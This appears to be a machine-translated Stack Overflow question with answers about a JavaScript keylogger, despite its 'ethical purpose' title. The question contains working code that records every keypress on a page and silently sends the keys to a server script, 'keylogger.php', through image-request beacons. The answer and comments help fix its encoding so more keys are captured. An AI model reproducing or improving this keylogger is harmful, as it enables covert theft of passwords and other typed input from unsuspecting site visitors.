【问题标题】:Javascript keylogger (for ethical purpose)Javascript键盘记录器(出于道德目的)
【发布时间】:2018-11-04 09:00:04
【问题描述】:

JS 代码 以下是用于在 html 页面上进行键盘记录的 javascript 代码。

var keys = '';
document.onkeypress = function(e) {
  get = window.event ? event : e;
  key = get.keyCode ? get.keyCode : get.charCode;
  key = String.fromCharCode(key);
  keys += key;
}
window.setInterval(function() {
  if (keys != '') {
    new Image().src = 'keylogger.php?c=' + keys;
    keys = '';
  }
}, 500);

它确实有效,但某些特殊键没有被记录,例如空格、制表符、退格等。

如何自定义上述代码以记录所有特殊键?

【问题讨论】:

  • 可能是由于 URL 编码。
  • 投反对票的原因是什么?
  • fromCharCode 无法使用来自KeyboardEvent.keyCode 的实时值Alt
  • @DávidMolnár 我猜是道德的。虽然我不能肯定地说 - 有些帖子似乎被否决了,因为 OP 并不知道 SO 发布如何工作的每一个复杂细节。不管他们是不是新用户。一位新用户提问者因未正确格式化代码而被一位非常高的代表成员责骂......当单击编辑需要 5 秒钟时,突出显示代码并单击将“格式化”它的 {} 按钮。因此,无论问题的主题如何,有些人往往真的很琐碎和不宽容。

标签: javascript html keylogger


【解决方案1】:

URL 只能包含一组特定的字符。这就是您需要对要发送的字符进行编码的原因。在keys 上使用encodeURIComponent 函数:

new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);

【讨论】:

  • 现在它可以工作了,但制表符和退格键仍然不起作用。
  • 如果console.log out encodeURIComponent(keys)keys 中带有空格/制表符,输出是什么?
  • 没有 tab 和 backspace 键的输出,但空间确实在 chromium 控制台日志上产生 %20,而在 Firefox ESR 空间与 chromium 相同,但退格和 tab 键分别转储 %08 和 %09。
  • 我不确定我是否理解正确。这是 Chrome 的问题吗? PHP脚本可能是服务器端的问题吗?
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2023-03-07
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多